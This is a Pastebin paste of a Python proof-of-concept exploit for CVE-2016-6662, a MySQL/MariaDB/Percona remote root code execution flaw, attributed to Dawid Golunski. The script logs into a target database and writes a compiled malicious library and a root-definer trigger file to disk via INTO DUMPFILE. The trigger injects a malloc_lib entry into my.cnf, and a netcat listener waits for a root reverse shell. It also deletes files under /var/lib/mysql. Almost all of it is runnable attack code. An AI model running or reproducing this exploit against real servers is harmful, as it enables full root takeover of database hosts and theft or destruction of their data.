Advertisement
Guest User

Untitled

a guest
Sep 24th, 2018
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.16 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. #
  4. # MySQL / MariaDB / Percona - Remote Root Code Execution / PrivEsc PoC Exploit
  5. # (CVE-2016-6662)
  6. # 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
  7. #
  8. # For testing purposes only. Do no harm.
  9. #
  10. # Discovered/Coded by:
  11. #
  12. # Dawid Golunski
  13. # http://legalhackers.com
  14. #
  15. #
  16. # This is a limited version of the PoC exploit. It only allows appending to
  17. # existing mysql config files with weak permissions. See V) 1) section of
  18. # the advisory for details on this vector.
  19. #
  20. # Full PoC will be released at a later date, and will show how attackers could
  21. # exploit the vulnerability on default installations of MySQL on systems with no
  22. # writable my.cnf config files available.
  23. #
  24. # The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
  25. # for certain low-privileged attackers that do not have FILE privilege.
  26. #
  27. # See full advisory for details:
  28. # https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
  29. #
  30. # Video PoC:
  31. # https://legalhackers.com/videos/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
  32. #
  33. #
  34. # Follow: https://twitter.com/dawid_golunski
  35. # &
  36. # Stay tuned ;)
  37. #
  38.  
  39. intro = """
  40. 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
  41. (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
  42.  
  43. For testing purposes only. Do no harm.
  44.  
  45. Discovered/Coded by:
  46.  
  47. Dawid Golunski
  48. http://legalhackers.com
  49.  
  50. """
  51.  
  52. import argparse
  53. import mysql.connector
  54. import binascii
  55. import subprocess
  56.  
  57.  
  58. def info(str):
  59. print "[+] " + str + "\n"
  60.  
  61. def errmsg(str):
  62. print "[!] " + str + "\n"
  63.  
  64. def shutdown(code):
  65. if (code==0):
  66. info("Exiting (code: %d)\n" % code)
  67. else:
  68. errmsg("Exiting (code: %d)\n" % code)
  69. exit(code)
  70.  
  71.  
  72. cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
  73. process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  74. (result, error) = process.communicate()
  75. rc = process.wait()
  76.  
  77.  
  78. # where will the library to be preloaded reside? /tmp might get emptied on reboot
  79. # /var/lib/mysql is safer option (and mysql can definitely write in there ;)
  80. malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
  81.  
  82.  
  83. # Main Meat
  84.  
  85. print intro
  86.  
  87. # Parse input args
  88. parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
  89. parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
  90. parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
  91. parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
  92. parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
  93. parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
  94.  
  95. args = parser.parse_args()
  96.  
  97.  
  98. # Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
  99. # CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
  100. info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
  101. try:
  102. dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
  103. except mysql.connector.Error as err:
  104. errmsg("Failed to connect to the target: {}".format(err))
  105. shutdown(1)
  106.  
  107. try:
  108. cursor = dbconn.cursor()
  109. cursor.execute("SHOW GRANTS")
  110. except mysql.connector.Error as err:
  111. errmsg("Something went wrong: {}".format(err))
  112. shutdown(2)
  113.  
  114. privs = cursor.fetchall()
  115. info("The account in use has the following grants/perms: " )
  116. for priv in privs:
  117. print priv[0]
  118. print ""
  119.  
  120.  
  121. # Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
  122. # process execution and run our code (Remote Root Shell)
  123. # Remember to match the architecture of the target (not your machine!) otherwise the library
  124. # will not load properly on the target.
  125. info("Compiling mysql_hookandroot_lib.so")
  126. cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
  127. process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  128. (result, error) = process.communicate()
  129. rc = process.wait()
  130. if rc != 0:
  131. errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
  132. print error
  133. shutdown(2)
  134.  
  135. # Load mysql_hookandroot_lib.so library and encode it into HEX
  136. info("Converting mysql_hookandroot_lib.so into HEX")
  137. hookandrootlib_path = './mysql_hookandroot_lib.so'
  138. with open(hookandrootlib_path, 'rb') as f:
  139. content = f.read()
  140. hookandrootlib_hex = binascii.hexlify(content)
  141.  
  142. # Trigger payload that will elevate user privileges and successfully execute SET GLOBAL GENERAL_LOG
  143. # in spite of the lack of SUPER/admin privileges (attacker only needs SELECT/FILE privileges)
  144. # Decoded payload (paths may differ) will look similar to:
  145. """
  146. DELIMITER //
  147. CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
  148. AFTER INSERT
  149. ON `poctable` FOR EACH ROW
  150. BEGIN
  151.  
  152. DECLARE void varchar(550);
  153. set global general_log_file='/var/lib/mysql/my.cnf';
  154. set global general_log = on;
  155. select "
  156.  
  157. # 0ldSQL_MySQL_RCE_exploit got here :)
  158.  
  159. [mysqld]
  160. malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
  161.  
  162. [abyss]
  163. " INTO void;
  164. set global general_log = off;
  165.  
  166. END; //
  167. DELIMITER ;
  168. """
  169. trigger_payload="""TYPE=TRIGGERS
  170. triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND'
  171. sql_modes=0
  172. definers='root@localhost'
  173. client_cs_names='utf8'
  174. connection_cl_names='utf8_general_ci'
  175. db_cl_names='latin1_swedish_ci'
  176. """ % (args.TARGET_MYCNF, malloc_lib_path)
  177.  
  178. # Convert trigger into HEX to pass it to unhex() SQL function
  179. trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
  180.  
  181. # Save trigger into a trigger file
  182. TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
  183. info("Saving trigger payload into %s" % (TRG_path))
  184. try:
  185. cursor = dbconn.cursor()
  186. cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
  187. except mysql.connector.Error as err:
  188. errmsg("Something went wrong: {}".format(err))
  189. shutdown(4)
  190.  
  191. # Save library into a trigger file
  192. info("Dumping shared library into %s file on the target" % malloc_lib_path)
  193. try:
  194. cursor = dbconn.cursor()
  195. cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
  196. except mysql.connector.Error as err:
  197. errmsg("Something went wrong: {}".format(err))
  198. shutdown(5)
  199.  
  200. # Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
  201. info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
  202. try:
  203. cursor = dbconn.cursor()
  204. cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
  205. except mysql.connector.Error as err:
  206. errmsg("Something went wrong: {}".format(err))
  207. shutdown(6)
  208.  
  209. # Finally, execute the trigger's payload by inserting anything into `poctable`.
  210. # The payload will write to the mysql config file at this point.
  211. info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
  212. try:
  213. cursor = dbconn.cursor()
  214. cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
  215. except mysql.connector.Error as err:
  216. errmsg("Something went wrong: {}".format(err))
  217. shutdown(6)
  218.  
  219. # Check on the config that was just created
  220. info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
  221. try:
  222. cursor = dbconn.cursor()
  223. cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
  224. except mysql.connector.Error as err:
  225. errmsg("Something went wrong: {}".format(err))
  226. shutdown(2)
  227. finally:
  228. dbconn.close() # Close DB connection
  229. print ""
  230. myconfig = cursor.fetchall()
  231. print myconfig[0][0]
  232. info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
  233.  
  234. # Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
  235. info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
  236. listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
  237. listener.communicate()
  238. print ""
  239.  
  240. # Show config again after all the action is done
  241. info("Shell closed. Hope you had fun. ")
  242.  
  243. # Mission complete, but just for now... Stay tuned :)
  244. info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
  245.  
  246.  
  247. # Shutdown
  248. shutdown(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement